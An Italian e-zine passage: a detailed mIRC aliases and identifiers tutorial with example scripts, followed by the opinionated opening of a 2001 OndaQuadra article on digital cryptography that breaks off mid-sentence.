Nella sezione Aliases è possibile definire delle scorciatoie per i comandi più utilizzati quali ad esempio join, part, quit, op, deop e qualsiasi altra cosa vogliate. Anche le cose che dite di frequente possono essere inserite in un alias... In generale, TUTTI i comandi che possono essere usati dalla linea di comando (la linea o le linee nelle quali normalmente scrivete i vostri messaggi) possono essere utilizzati come alias. Gli alias possono essere anche utilizzati per eseguire una serie di comandi in una sola volta. È possibile anche definire alias attivabili tramite i tasti funzione F1 - F12.... (Finalmente un utilizzo per questi tasti che solitamente non sono mai utilizzati..) In mIRC è anche possibile richiamare degli alias da altri alias o da menu popup e linee di remote. Nel nuovo mIRC è possibile avere file di alias multipli. mIRC viene fornito con un file prefabbricato denominato alias.ini al quale è possibile comunque aggiungere altri elementi oppure potete scegliere di aggiungere un intero nuovo file di alias. Molto semplice!

Creazione di alias.
OK, iniziamo subito con un esempio. Per entrare su un canale solitamente di deve digitare:


/join #nome


...dove ovviamente #nome è il nome del canale. Poiché questo comando è utilizzato molto frequentemente, sarebbe comodo poterlo utilizzare dovendo digitare il meno possibile no? Creiamo quindi un alias per "/join #nome".

Invece che digitare "/join #{nome}", facciamo si che basti digitare "/j #{nome}" ottenendo il medesimo risultato. In questo caso l'alias sarà:


/j /join $1


(Non occorre che capiate esattamente cosa ciò significhi per mIRC, basterà capire ciò che fa. La sintassi verrà spiegata fra poco.)

Fate una prova inserendo la linea "/j /join $1" nella lista Aliases sotto Tools/Aliases (se non è già disponibile). Quindi la si provi dalla linea di comando (quella dove scrivete normalmente) con il semplice comando:


"/j #test".

Vedrete che "/j #test" svolge la medesima funzione di "/join #test" -- vi farà entrare sul canale denominato #test. Questa scorciatoia è detta un alias.

Sintassi degli alias.

Gli Alias utilizzano il seguente formato: "/{nomealias} /{comando}" In altre parole per prima cosa il nome della "scorciatoia" (tipo "/j" come nell'esempio precedente), quindi uno spazio e quindi il comando a cui punta la scorciatoia (come "/join" nell'esempio precedente).

Nella definizione degli alias non si deve specificare il carattere / per i comandi in quanto è necessario solo per i comandi digitati direttamente sulla linea di comando. Solo per chiarezza si è deciso di utilizzare la / in questo tutorial. Si ricordi che anche l'alias alias "j join $1" funzionerà perfettamente.
Gli alias utilizzano un certo numero di stringhe speciali e di identificatori. Vi sono svariate stringhe del tipo $1, $1-3, $$1, $?, $!, #$1, #$$1 ed anche #$?. Le stringhe vengono riempite con qualsiasi cosa si sia specificato nella chiamata dell'alias. Sono particolarmente dinamiche nel loro utilizzo. Gli identificatori sono simili alle stringhe ma vengono riempiti con valori standard. Alcuni identificatori particolarmente importanti sono #, $me e $url ma la lista di tali identificatori è lunga ed in continua crescita. Per darvi un'idea migliore; $read $date $adate $fulldate $time e $day sono alcuni altri identificatori.
Non preoccupatevi, li spiegheremo tutti al momento opportuno.

Per ora concentriamoci su $1. Dopo tutto questa è la stringa che abbiamo utilizzato nell'esempio precedente:


/j /join $1

$1 sta per "la prima parola digitata dopo l'alias, qualsiasi essa sia. Quindi se digitate "/j #test", mIRC saprà che è la scorciatoia per "/join #test". Se digitate "j #hello", saprà che è la scorciatoia per "/join #hello".

Comandi multipli.

Supponiamo ora che vogliate collegarvi a più canali contemporaneamente. È possibile creare un alias per questo. Semplicemente si separino i vari comandi con il carattere | (sulla maggior parte delle tastiere si ottiene con MAIUSC ed il tasto \ (backslash))... Il carattere | è detto 'pipe'.

Supponiamo si voglia poter digitare "
/j3" e quindi i nomi dei tre canali, su cui si entrerà contemporaneamente. L'alias sarà:


/j3 /join $1 | /join $2 | /join $3

Quindi se si inserisce tale linea in Tools/Aliases e si digita:


/j3 #test1 #test2 #test3

...mIRC eseguirà "
/join #test1", quindi "/join #test2" e quindi "/join #test3".

In questo caso vedete che $1 corrisponde alla prima parola digitata dopo l'alias. $2 ovviamente corrisponde alla seconda parola e $3 alla terza.

Ora mIRC, ovviamente, si aspetta tre parole - i nomi dei canali.
Quindi cosa accade se si digita semplicemente "
/j3 #test1"? mIRC si lamenterà per i parametri mancanti poiché si aspettava più nomi di canale. C'è una soluzione a questo problema, la stringa $$1, che verrà spiegata più avanti).

Esempio: /say

Supponiamo che si scopra che vi sono delle frasi che digitate sul canale molto spesso, come ad esempio l'indirizzo della vostra home page, un saluto, ecc. Osservate questi esempi di alias che utilizzano il comando "
/say": "/say" scrive semplicemente il testo indicato sul canale corrente u sulla finestra messaggi.


/hello /say Ciao a tutti...
/www /say La pagina di mIRC è http://metro.turnpike.net/mookies/mirc.asp
/lines /say Questa è la prima linea | /say Questa è la seconda linea | /say questa è l'ultima linea

L'ultimo esempio mostra come inviare linee di /say multiple in un solo alias. Basta semplicemente separarle con il carattere |. Si noti anche che non tutti gli alias hanno delle stringhe.

Esempio: /me

Action all'interno di un alias...


/fun /me pensa che tutto ciò sia molto divertente!
/hug /me abbraccia $1 forte forte!

Il secondo esempio utilizza una stringa , $1. Se si digita "
/hug tutti", ciò e' equivalente a "/me abbraccia tutti forte forte!"

Esempio: Stringhe condivise.

I comandi multipli possono condividere le stesse stringhe.


/jtest /join $1 | /topic $1 solo una prova

Nella definizione degli alias il parametro $1 viene utilizzato due volte. Se si digita "
/jtest #test", per prima cosa si entrerà sul canale #test e quindi si cambierà il topic del canale in "solo una prova".

Un altro esempio sulla stessa linea:


/love /say Amo $1 ! | /say Amo veramente $1 !!

Se si digita "
/love tutti", mIRC saprà di dover eseguire "/say Amo tutti !" e quindi , "/say Amo davvero tutti!!"

Esempio: Cambi di Mode (Op, ecc.).

Per inserire i cambi di mode più frequentemente utilizzati all'interno della sezione alias, per prima cosa occorre conoscere la struttura di questi comandi di mode. Rendere op qualcuno su IRC solitamente richiede il comando:


/mode {nomecanale} +ooo {nick1} {nick2} {nick3}

...nel quale possono essere indicate sino a 3 persone. Il tutto può essere fatto con un alias del tipo:


/op /mode # +ooo $1 $2 $3

Per rendere op John, Jake e Joan, si dovrà ora digitare solamente :

"
/op John Jake Joan" Il # presente in questo alias mostra l'utilizzo di uno degli identificatori. Il # indica sempre il #nomecanale del canale sul quale viene utilizzato l'alias.... Allo stesso modo è possibile creare alias del tipo...


/deop /mode # -ooo $1 $2 $3
/ban /mode # +b $1
/kick /kick # $1
/dbk /mode # -o $1 | /kick # $1 | /mode # +b $1

IMPORTANTE: La spaziatura!

È un argomento veramente importante! si DEVE sempre inserire degli spazi fra le stringhe ed il resto del vostro testo! Ad esempio:


/like /say I really like $1!!!

...NON funzionerà! Occorre uno spazio tra la stringa "
$1" e "!!!". (Ciò potrebbe rendere il vostro testo leggermente strano quando si utilizza un comando tipo /say, quindi state attenti al modo con cui costruite le frasi).


/like /say I really like $1 !!!

...FUNZIONERA' perfettamente.
Ciò vale per TUTTE le stringhe. Per rendere semplice un caso particolare, l'indicazione di canali, sono state create alcune stringhe speciali che inseriscono automaticamente il carattere #. Si tratta di #$1, #$$1 e #$?. Si veda oltre per maggiori dettagli.

In ALCUNI casi è possibile scrivere:


/like /say I really like $1's topic

ma ricordate: NON SEMPRE!! Occorre provare ogni casistica che vogliate usare...

Dove si possono usare gli alias?

Gli alias possono essere utilizzati sulla linea di comando (la linea o le linee nella quale solitamente scrivete i comandi) e potete utilizzare gli alias anche nelle sezioni Popups e Remote come verrà spiegato nelle sezioni seguenti. I tasti funzione con alias possono essere utilizzati con i nick selezionati sulla lista dei nomi del canale e nelle finestre di query ecc....in funzione di come avete definito gli alias.

È anche possibile richiamare alias all'interno di altri alias ma non in maniera ricorsiva da se stessi. Il richiamo di alias all'interno di altri alias richiede della memoria aggiuntiva ed in alcuni casi può creare problemi come quando si ha poca memoria ecc. Nel caso un alias o un remote entri in un ciclo infinito si utilizzi la combinazione di tasti CTRL+Break per interrompere il processo.

Definizioni speciali di alias; I tasti funzione.

È possibile avere una speciale definizione di alias che esegue un comando utilizzando i tasti funzione. Si definiscano alcuni alias come:


/f1 /say Ciao a tutti
/f2 /topic # Questo è il nuovo topic

È possibile digitare "
/f1" per salutare un canale ... ma funziona anche premendo il tasto funzione "F1"!! Altri esempi:


/f5 /me sarà felice di inviarvi il nuovo mIRC.
/f6 /join #mIRC
/f9 /dcc send $1 c:\serve\mircfq31.zip
/f10 /dcc send $1 c:\serve\mirc50s.exe
/f11 /dcc send $1

Il tasto F9 invierà la FAQ di mIRC FAQ alla persona selezionata dalla lista dei nomi del canale. Non dimenticatevi di selezionare prima il nick! Se non lo fate, vedrete un cosa strana (ma logica)... È possibile utilizzare il tasto F9 con questa definizione di alias anche in finestre di Private, Query o DCC Chat! Il tasto F11 vi richiederà il nick a cui inviare il file...

Ok.... ora potete inventare il vostro utilizzo per i tasti funzione..... buon divertimento! È anche possibile utilizzare i tasti -shift- e -ctrl- in combinazione con tasti F. Basterà definire gli alias come:


/f1 /say Ho usato F1 per dire questo
/sf1 /say Ho usato Shift+F1 per dire questo
/cf1 /say Ho usato CTRL+F1 per dire questo

Nota: Quasi tutti gli alias a cui ho potuto pensare sono forniti nella Section 8 ! Controllatela.

Utilizzo delle parentesi.

Negli alias è possibile utilizzare le parentesi [ e ] per controllare l'ordine di valutazione degli identificatori. Le parentesi possono essere utilizzate anche nei popup e nei remote. Gli identificatori all'interno delle parentesi verranno valutati per primi da sinistra a destra. È inoltre possibile nidificare le parentesi. Ciò consente di valutare le cose nell'ordine desiderato... Le parentesi non appariranno nei risultati di testi o comandi.

Esempi:


/note /notice $1 "
$+ [ $read [ -s + [ $2 ] ] c:\testo\note.txt ] $+ "
/sayvar /say % [ $+ [ $1 ] ]

Le definizioni senza parentesi di valutazione sono calcolati come sempre.

Alias negli script.

È possibile caricare facilmente in mIRC dei file di alias addizionali sopra quello/i che già avete. Si apre l'editor degli alias (Tools/Aliases/) e si selezioni File/Load/. È facile a questo punto selezionare il file contenete gli alias. Selezionare 'View' per visualizzare tutti i file di alias caricati. Questo è un metodo semplice per provare gli alias creati dai vostri amici e distribuire i vostri file di alias ai vostri amici. Gli alias possono anche essere inseriti all'interno di un file di script completo e distribuito assieme ai comandi Remote

  
ed agli Events. Spiegheremo in seguito in dettaglio come ciò sia possibile.

Definizione di stringhe.
Sino ad ora, dovreste avere una certa conoscenza della sezione Alias. Ora dovrebbe essere interessante un elenco completo delle stringhe e degli identificatori che si possono utilizzare negli alias ed in seguito nelle definizioni dei popup e dei remote. Le prossime due sezioni introdurranno quelli principali. La lista è tutt'altro che completa! A questo punto, assicuratevi di provare tutti gli esempi sino a quando non avrete compreso come realizzarli da soli! Si esplori il file di help per ulteriori esempi e le nuove definizioni di stringhe, ok?

$N
La stringa più semplice. Contiene una sola parola.$1 conterrà la prima parola dopo il comando dell'alias. Allo stesso modo, $2 conterrà la seconda parola, $3 la terza, ecc.

Esempio:


/op /mode $1 +o $2 $3

Si digiti "/op #mIRC Janet John" per rendere Janet e John operatori di #mIRC.


/slap /me schiaffeggia $1 con un largo $2

Si digiti "/slap residue pesce" per dare a residue un profumo di pesce ;o)

$N-M
Questa stringa contiene solo una selezione di parole. Si provi l'alias:


/three /say Le prime tre parole erano $1-3

Si digiti "/three un buon avvio bimbo" per vedere il risultato "Le prime tre parole erano un buon avvio" dove "bimbo" viene ignorato.

Nota: $N-M sostituisce la vecchia definizione *N-M.

$N-
Questa stringa può contenere MOLTE parole... $1- conterrà la prima parola *e* tutto quello che segua la prima parola. Si provi:


/tell /say mi piacerebbe dirti una cosa: $1-

Il comando "/tell mIRC è veramente bello" con quest'alias darà come risultato il testo: "mi piacerebbe dirti una cosa: mIRC è veramente bello". $2- conterrà la seconda parola e tutto quello che segue. $3- conterrà la terza parola e tutto quello che segue. ecc. Si provi inoltre...


/note /notice $1 $2-

...e si digiti "/note {nick} {un testo qualsiasi}" e...


/mess /msg $1 $2-

...e si digiti "/mess {nick} {un testo qualsiasi}"

Assicuratevi di aver compreso che questi comandi diano lo stesso risultato se si definiscono gli alias rispettivamente come '/note /notice $1-' e '/mess /msg $1-'. $N- sostituisce la vecchia definizione *N.

$$1
Un alias contenente questo tipo di stringa verrà eseguito SOLO se viene fornito il parametro; in caso contrario la chiamata all'alias verrà ignorata.

Ad esempio, se si prova questo alias:


/j /join $$1

e si digita "/j" (anziché "/j #nomecanale")... mIRC lo ignorerà perché non è stato incluso il nome del canale. Per il resto opera come $1 -- contenendo la prima parola. $$2 conterrà la seconda parola, $$3 la terza, ecc.

$?
Questo è bello!

Un alias con questa stringa può essere avviato senza specificare il parametro. mIRC visualizzerà una finestra di dialogo di Parameter Entry, nella quale è possibile indicare un testo, un nick o qualsiasi altra cosa.

Si provino questi esempi:


/j /join $?"
/hug /me abbraccia $? forte forte

$?="
testo" Una versione "extra speciale" della stringa $?. mIRC visualizzerà nuovamente la finestra di dialogo di Parameter Entry ma questa volta richiederà il tipo di informazione richiesta.

Si provino questi esempi:


/j /join $?="
Su quale canale entrare?"
/hug /me abbraccia $?="
Chi vuoi abbracciare?" forte forte

$!
Questo identificatore viene utilizzato solo in congiunzione con $?. Se in precedenza si è utilizzato $? negli alias è possibile utilizzare successivamente $! per richiamare il parametro digitato.

Ad esempio:


/j /join $?="
Su quale canale entrare?" | /say Mi piace il canale $! Si digiti "/j" è verrà visualizzato la finestra di dialogo di Parameter Entry che richiede di digitare il nome del canale a cui collegarsi. Se si digita "#test" si entrerà su #test e quindi si dirà sul canale: "Mi piace il canale #test".



Si provi inoltre:


/friend /say $? è un mio amico | /say Voglio bene a $!

#$1 -e- #$$1 -e- #$?
Queste versioni speciali delle stringhe $1, $$1 e $? sono utilizzate solo in collegamento ai canali. Tutte queste stringhe aggiungono il prefisso # all'inizio del parametro. Si provi...


/j /join #$1"


Si potrà digitare "/j test" anziché "/join #test".

Si provi inoltre:


/j /join #$?="Indicare il nome del canale su cui entrare (senza #)"

Identificatori.
Un tipo speciale di stringa è l'identificatore. Mentre il contenuto di una stringa viene sempre definito da come viene richiamato un alias, un popup o un remote (si veda oltre), gli identificatori restituiscono sempre delle informazioni predefinite.

#
Questo è l'identificatore più importante, contiene sempre il nome del canale sul quale viene eseguito l'alias. Ciò è importante perché molti comandi, tipo i comandi di /mode, richiedono che si specifichi un nome di canale.

Esempio:


/op /mode # +o $1

Si digiti "/op Cindy", e si renderà op la persona di nick Cindy in qualsiasi canale si digiti.

$me
Questo identificatore contiene sempre il vostro nick corrente! È possibile utilizzarlo in tutte le situazioni. Ad esempio:


/nice /me pensa che $me sia un nick simpatico!

oppure


/offer /me offre la versione 3.8 di mIRC. Si digiti "/ctcp $me xdcc send #1" per riceverla.

oppure


/away /me è via ( $1- ) | /away $1- | /say I messaggi diretti a $me verranno salvati.

Oppure si provi l'alias:


/nick /say Mi piace $1 molto più che $me | /nick $1

e quindi si cambi il proprio nick con "/nick <nuovonick>"

$read [-nl#] <nomefile.txt>
Questo identificatore è divertente. Estrae una riga a caso dal file indicato e la inserisce all'interno dell'alias.... La riga può contenere del normale testo ed anche dei comandi !! (per rendere il tutto più semplice ;o) Inoltre $!read che è identico a $read con la differenza che non viene valutato solamente la prima volta che si utilizza la routine di alias. Ciò consente di utilizzarlo in un comando /timer se si vuole che $read sia rivalutato ogni volta. Il parametro -n impedisce la valutazione della riga letta. Ciò fa si che tutte l linee siano trattate come testo semplice! Ad esempio:


/fun /say $read c:\mirc\funlines.txt
/kick /kick # $1 $read c:\mirc\funkicks.txt
/silly /say $read -l5 silly.txt

$readini [-n] <fileini> <sezione> <elemento>
Simile a $read questo identificatore legge degli elementi da un file .ini. È stato creato assieme al comando /writeini. Entrambi utilizzano le funzioni di Windows per leggere e scrivere i file .ini standard di Windows. Pensiamo che $readini e /writeini apriranno nuove e migliori possibilità per la scrittura di funzioni automatiche per IRC. l parametro -n impedisce che la linea letta venga valutata.

$url
Questo identificatore contiene sempre la pagina correntemente visualizzata da Netscape...

Ad esempio:


/show /say Ehi ragazzi, ho trovato una bellissima pagina www! Andate su $url
/mu /me ha trovato questa bella URL : $url


$ip Il vostro indirizzo IP.
$server Il server che si sta utilizzando.
$active Il nome della finestra attiva in mIRC.
$time Data e ora del PC.
$away Indica se si è in away o meno.
$ticks Restituisce il numero di ticks (colpi di orologio interno) dall'avvio del S/O.
$idle Restituisce il tempo di idle come quello restituito da ctcp userinfo e finger.
$online Restituisce il numero di secondi trascorsi sul timer di online
$version Restituisce la versione di mIRC
$ctime Il numero di secondi trascorsi dalle 00:00:00 GMT, 1 gennaio 1970.
$asctime(N) Restituisce il valore di ctime in formato testo data e ora.
$day Il giorno corrente. (Monday, Tuesday,...)
$date La data (in formato europeo) (SI!! mIRC -non- è made in USA ;o) in alternativa si utilizzi $adate (americana), $fulldate o $day.
$duration(secondi) Converte un numero del tipo 123456 in 1 giorno 10ore 17minuti 36sec.
$logdir
$getdir
$wavedir
$mircdir
$mircini Restituisce il percorso ed il nome del file di ini che si sta utilizzando
$nopath(nomefile) Restituisce solo il nome del file senza percorso.
$nofile(nomefile) Estrae il nome del file e restituisce il percorso.
$exists(nomefile) Verifica che il file indicato esista. (Restituisce $true o $false)
$findfile(dir,nomefile,N) Ricerca nel percorso indicato l'Nesimo file specificato
$ddename Il nome del servizio DDE che mIRC utilizza.
$abs(N) Restituisce il valore assoluto del numero N.
$chr(N) Restituisce il carattere con il numero ASCII N.
$asc(C) Restituisce il valore ASCII del carattere C.
$len(testo) Restituisce la lunghezza di "testo".
$upper(testo) Restituisce "testo" in lettere maiuscole.
$lower(testo) Restituisce "testo" in lettere minuscole.
$left(testo,N) Restituisce i primi N da sinistri di 'testo'.
$right(testo,N) Restituisce i primi N da destra di 'testo'.
$mid(testo,S,N) Restituisce N caratteri di 'testo' a partire da S.
$pos(stringa,sottostringa)Restituisce la posizione della sottostringa all'interno di stringa.
$replace(stringa,sottostringa,sostituzione) Sostituisce una sottostringa all'interno di una stringa.
$remove(stringa,sottostringa) Rimuove la sottostringa da stringa.
$strip(testo) Rimuove dal testo tutti i codici di controllo per grassetto, sottolineato, invertito ed i codici colore.
$count(stringa1,stringa2) Restituisce il numero di volte in cui stringa2 appare in stringa1.
$str(testo,N) Restituisce "testo" ripetuto N volte.
$rand(X,Y) Restituisce un carattere a caso compreso fra X ed Y.
$lines(file) Restituisce il numero di linee del file specificato.
$usermode Restituisce i vostri mode personali correnti.
$topic(#) Restituisce il topic dei canali su cui vi trovate.
$nick(#,N) Restituisce l'Nesimo nick sul canale #.
$snick(#,N) Restituisce l'Nesimo nick selezionato sul canale #.
$opnick(#,N) Restituisce l'Nesimo nick Op sul canale #.
$nopnick(#,N) Restituisce l'Nesimo nick non-Op sul canale #.
$vnick(#,N) Restituisce l'Nesimo nick voiced sul canale #.
$nvnick(#,N) Restituisce l'Nesimo nick non-Op/non-voice sul canale #.
$comchan(Nick,N) Restituisce i canali su cui voi e Nick siete.
$query(N|Nick) Restituisce l'Nesima finestra di query aperta.
$chat(N) Restituisce il nick dell'Nesima finestra di dcc chat aperta.
$fserv(N) Restituisce il nick dell'Nesima finestra di file server aperta.
$send(N) e $get(N) Restituisce il nick dell'Nesima finestra di send/get aperta.
$notify(N) Restituisce l'Nesimo nick in notify attualmente presente su IRC.
$token(N,C,testo) Restituisce l'Nesimo token in 'testo' separato dal carattere C (C è il valore numerico ASCII del carattere)
$addtok(testo,token,C) Aggiunge un token alla fine del testo ma solo se non è già presente.
$findtok(testo,token,C) Restituisce l'Nesima posizione di token all'interno di testo.
$gettok(testo,N,C) Restituisce l'Nesimo token in testo. (anche N-M, N-)
$instok(testo,token,N,C) Inserisce il token all'Nesima posizione all'interno di testo anche se già presente in testo.
$remtok(testo,token,C) Rimuove 1 corrispondenza di token da testo.
$reptok(testo,token,new,C) Sostituisce 1 corrispondenza di token in testo con il nuovo token.
Per gli identificatori sopraelencati è possibile specificare N come 0 (zero) per ottenere il numero totale di nick/canali/token ecc. per tale identificatore.

$snotify Restituisce il nick correntemente selezionato nella finestra di notify.
$address Restituisce l'indirizzo completo di un utente che ha attivato una linea di remote.
$address(nick,tipo) Scandisce la lista interna degli indirizzi restituisce un indirizzo utente se presente.
$maddress Restituisce l'indirizzo dell'utente corrispondente per un evento della sezione Remotes.
$level(indirizzo) Trova una corrispondenza con un indirizzo della remote users list e restituisce il suo livello.
$ulevel Restituisce il livello utente remoto che corrisponde ad un evento.
$clevel Restituisce i livelli di comando remote che corrispondono ad un evento.
$dlevel Restituisce il valore di livello standard per gli utenti.
$mask(indirizzo,tipo) Restituisce l'indirizzo con la maschera specificata.
Gli identificatori e le variabili possono essere inseriti all'interno di parentesi.

Esempio:


/echo $right(3,$left($len(goats),ToMooOrNotToMoo))

restituisce 'Moo'

Identificatori con parametri di proprietà.

Diversi identificatori possono essere utilizzati aggiungendo dei parametri speciali. Ciò rende più semplice ricordarne la sintassi ed aiuta nella stesura di script. La sintassi è $identifier(N|#|nick).proprietà Questa lista è tutt'altro che completa!

$server(N|nick) Da accesso alla lista dei server sotto File/Setup/IRC_Servers.
$server(N) per l'indirizzo, .desc per la descrizione, .port per la porta, .group per il gruppo.
$ial(mask,N|nick) Da accesso alla lista interna degli indirizzi(Internal Address List).
$ial(mask,N) per l'indirizzo completo, .nick per il nick, .user per lo user, .host per l'host, .addr per l'indirizzo.
$url(N) Da accesso all'elenco delle url.
$url(N) per l'indirizzo, .desc per la descrizione, .group per il prefisso
$chan(N|#) Restituisce diverse impostazioni di 'canale' per i canali sui quali ci si trova.
$chan(N|#) restituisce il nome del canale, .topic, .mode, .key, .limit,
$chat(N|nick) nick, .ip, .status (attivo, in attesa, inattivo)
$fserv(N|nick) nickname, .ip, .status, .cd (directory corrente)
$get(N|nick) nickname, .ip, .status, .file, .size, .rcvd, .cps, .pc
$send(N|nick) nickname, .ip, .status, .file, .size, .sent, .lra, .cps, .pc
$timer(N) restituisce i timer correntemente attivi
$timer(N) per l'id, .com, .time, .reps, .delay, .type

Identificatori definibili dall'utente. (Questa sezione è stata scritta in origine da Li0nheart)

Come abbiamo appena visto mIRC dispone di un gran numero di identificatori predefiniti che possono essere utilizzati delle definizioni di alias e di remote. È inoltre possibile creare i propri identificatori e questi possono essere configurati per eseguire praticamente qualsiasi cosa si desideri! Gli identificatori vengono programmati nella sezione alias ed appaiono esattamente come un alias con l'unica eccezione che terminano con un /return X. È possibile far si che l'identificatore restituisca qualsiasi cosa si desidera. Ad esempio, la somma di due numeri:


/sum {
%temp = $1 + $2
return %temp
}

A questo punto è possibile utilizzare l'identificatore $sum in qualsiasi alias, popup o remote. Ad esempio nell'elemento di popup:


Add:/say La somma di 45 e 78 è $sum(45,78)

Oppure l'alias:


/add /say La somma di $1 e $2 è $sum($1,$2)

(Non ha senso dare il comando /sum .. che non funzionerà)

Tutti i parametri forniti all'identificatore sono separati da virgole. È possibile utilizzare tutte le normali strutture if/then/else nella definizione di un identificatore. È inoltre possibile verificare se tutti i parametri necessari sono presenti e restituire eventualmente un comando di errore. Un esempio è questa routine che calcola quale percentuale di X sia Y.


/perc {
if ($1 == $null) || ($2 == $null) { return Errore parametri
insufficienti }
if ($2 != 1) { %half = $2 / 2 } | else { %half = 1 }
%dummy = $1 * 100
%perc = %dummy / $2
%remainder = %dummy % $2
if (%perc == 0) { goto return }
elseif (%remainder >= %half) { inc %perc }
:return
return %perc
}

La prima linea verifica che siano presenti tutti i parametri. Le linee rimanenti sono il calcolo della percentuale, in cui una parte verifica che il totale sia 100%. L'identificatore potrà essere richiamato ad esempio con $perc(56,100), che visualizzerà 56% I numeri non sono l'unica cosa che può essere restituita da un identificatore. È anche possibile restituire un testo, o una combinazione di testo e numeri, come ad esempio il formato dell'ora americano (7:52 pm):


/atime {
set %hr $token(1,58,$time)
set %min $token(2,58,$time)
if (%hr == 0) { set %hr 12 | set %sub am }
elseif (%hr < 12) { set %sub am }
elseif (%hr == 12) { set %sub pm }
else { %hr = %hr - 12 | set %sub pm }
return %hr $+ : $+ %min $+ %sub
}

Con un po' di creatività è possibile realizzare identificatori per qualsiasi scopo. Ad esempio: risposte automatiche oppure evidenziare ogni singola lettera. Buon divertimento!



+-------------------------------------------------------------------------------+
| 0NDAQUADRA MAGAZiNE ~ [L'APPRENDiSTA STREG0NE] #03 - 17/09/2001 |
| C0DiCE iNVERS0: CRiTT0GRAFiA DiGiTALE AVANZATA PARTE 1 0x27/0x29 |
+-------------------------------------------------------------------------------+

(almeno si spera...)
===============================================================================
Consumo: 256 neuroni
Musica ascoltata: un ca**o (quando si lavora la musica deconcentra...)
Ingredienti per 4 persone:
- 1 cervello (possibilmente fresco)
- 1 o 2 occhi
- un computer (consigliabile...)
- font impostato su "Courier New" a 10 punti (mi sa + di professionale...)
Tempo di cottura: non abbiate fretta...
===============================================================================

+---------+
|PREAMBOLO|
+---------+

E così alla fine eccoci qua. Mio Dio, cos'ho fatto? Miii, ho scritto
un'articolo per OQ! E a dire il vero era un pezzo che avevo in mente di fare
una cosa del genere, ma
1) era ancora "troppo presto"
2) non c'avevo tempo
3) dovevo trovare... un argomento adatto (è una lunga storia...)
e visto che probabilmente sarà anche l'ultimo cominciamo subito con le
presentazioni.
Io sono "ziro" (naturalmente è solo un nick, il mio vero nome è Massimo De
Lirio...), e questa è la prima volta che scrivo un articolo per un'e-zine
(anzi, vi accorgerete dalla grammatica che è proprio la prima volta che scrivo,
eheheh...) e sono contento di aver dato il mio contributo a OQ, che di tutte le
E-zine che ho visto è forse la migliore. Questo perchè, oltre ad essere
accessibile anche ai newbies, a mio avviso non tratta solo di argomenti
strettamente "tecnici", ma spazia una grande mole di conoscenze, che anche se
non sono utilizzabili nell'immediato contribuiscono ad ampliare una certa
"cultura", quel tipo particolare di cultura moderna (tanto che non è
considerata vera "cultura"...) che torna sempre utile, e sempre più tornerà
utile in questa nuova era, senza bisogno di doverne dar sfoggio dall'alto di
arcaiche "torri d'avorio" ed è questa credo, anche la stessa filosofia
dell'hacking e dell'underground in quanto tali.
Un esempio: se io parlo di "persona colta" alla gente cosa viene subito in
mente? Ve lo dico io cosa viene in mente: avvocati, storici, dottori,
professori di italiano, greco, latino, arte, religione e filosofia, mentre a
nessuno verrebbero in mente, almeno in un primo momento, tecnici, fisici,
chimici, esperti di matematica e sistemi informatici, programmatori e ingegneri
vari. I pareri sono molti, i sostenitori della cultura classica affermano che è
in quel tipo di sapere che è racchiuso il patrimonio della conoscenza umana,
mentre i sostenitori della cultura moderna dicono che è unicamente grazie alla
scienza che la società e la tecnologia evolvono, ed il genere umano con loro.

Non bisognerebbe mai vedere le cose in bianco e nero ma in tonalità di grigio,
anzi, io cercherei di vedere addirittura a colori (32 bit eheheh). Nel senso
che secondo me hanno ragione entrambi: la scienza ci permette di progredire ed
è grazie alla cultura classica che evitiamo gli errori del passato, ma è la
prepotenza di questa sporca, obsoleta società che mi disgusta: basti pensare
che in Italia il mestiere più redditizio è l'avvocato. E' contro questa
prepotenza, questa ignoranza, questa "divisione in caste" che io nel mio
piccolo mi batto (e OQ, spero, con me...). E siamo sempre in più a batterci per
questa causa che, badate, non è anarchia o voglia di trasgredire, ma desiderio
di creare una nuova società e un nuovo mondo basati sul rispetto reciproco e
sull'equilibrio. Finchè di noi ce ne sarà anche solo uno, LORO non avranno
vinto!
E' proprio per questa che io definirei una certa "apertura mentale" di OQ che
scrivo questo articolo (che non credo avrebbe avuto tutto questo spazio in
altre e-zine dai contenuti più strettamente tecnici), articolo che, vi
accorgerete, è un po' "particolare", innanzitutto per la sua lunghezza (forse
ho un po' esagerato :P ), ma soprattutto per i suoi contenuti. Vi sarete
accorti che è un pezzo che chiacchiero e filosofeggio a vanvera e ancora di
sta' crittografia non se ne parla... lo so. E il bello è che ne ho ancora per
un bel po' :) . Vi chiedo di pazientare e di leggere almeno questa introduzione
prima di decidere quali parti leggere e quali no (a parte che credo che sarà
necessario tagliare a randa diverse parti dell'articolo, uhmmm... ok!

<Autorizzazione a tagliare>
Io, Massimo De Lirio, alias Zer0, in pieno possesso solo di una minima parte
delle mie facoltà mentali (già peraltro limitate), do' l'autorizzazione all'OQ
staff di "mozzare" qualsiasi parte indesiderata del presente articolo e di
insultarmi, kickbannarmi o flooddarmi a piacere ogniqualvolta se ne presenti il
bisogno.
</Autorizzazione a tagliare>

ecco fatto! ;)
Faccio inoltre presente che il mio apprezzamento per OQ non deriva da un insito
desiderio di "leccare" ma è assolutamente onestissimo :)))
Scherzi a parte, in questo articolo si parlerà principalmente di crittografia,
ma... c'è un "ma".
Chiariamo innanzitutto alcune cosette: io NON SONO ANARCHICO. L'anarchia mi fa
skifo e credo che la maggior parte degli anarchici sia tale solo per il gusto
di "andare contro corrente" o per fare casino: seguire la massa secondo me è
sbagliato quanto andare nella direzione totalmente opposta (ricordate il bianco
e nero?) e bisogna fare molta attenzione a non esagerare le cose. Tuttavia
riconosco che (almeno secondo me) il pericolo del "Grande Fratello" sia oggi
molto più di una paranoia e che BISOGNA DIFENDERSI! La crittografia digitale da
questo punto di vista va considerata come una vera e propria "arma da
guerriglia informatica"
, lo è una prova la travagliata (e il più possibile
celata) storia del PGP, il più famoso programma di crittografia conosciuto, la
cui esportazione dagli USA era considerata alla stregua del contrabbando
d'armi, ma di questo si parlerà più avanti. L'America... altro argomento
spinoso. Non vi voglio nascondere la mia avversione verso il Paese delle Grandi
Libertà, un paese dove vige la pena di morte in diversi stati confederati e che
si può permettere, essendo ormai l'unica Grande Potenza, di dettare legge su
tutto il globo, e da questo punto di vista secondo me l'elezione di Bush Junior
non è stata una bella cosa: ne sono prova le decisioni prese a riguardo dello
Scudo Spaziale e del Protocollo di Kyoto, che hanno il sapore di un palese atto
di prepotenza. Già, ma chi gli può dire niente? La triste verità e che
l'America ha in mano il mondo e che anche se tutte le nazioni dell'ONU (che non
servirà mai a un caxxo finchè ci saranno i 5 capoccioni col diritto di veto...)
si alleassero contro di essa, in una guerra aperta probabilmente non ci
sarebbero speranze. A questo, secondo me, si potrebbe rimediare proprio con
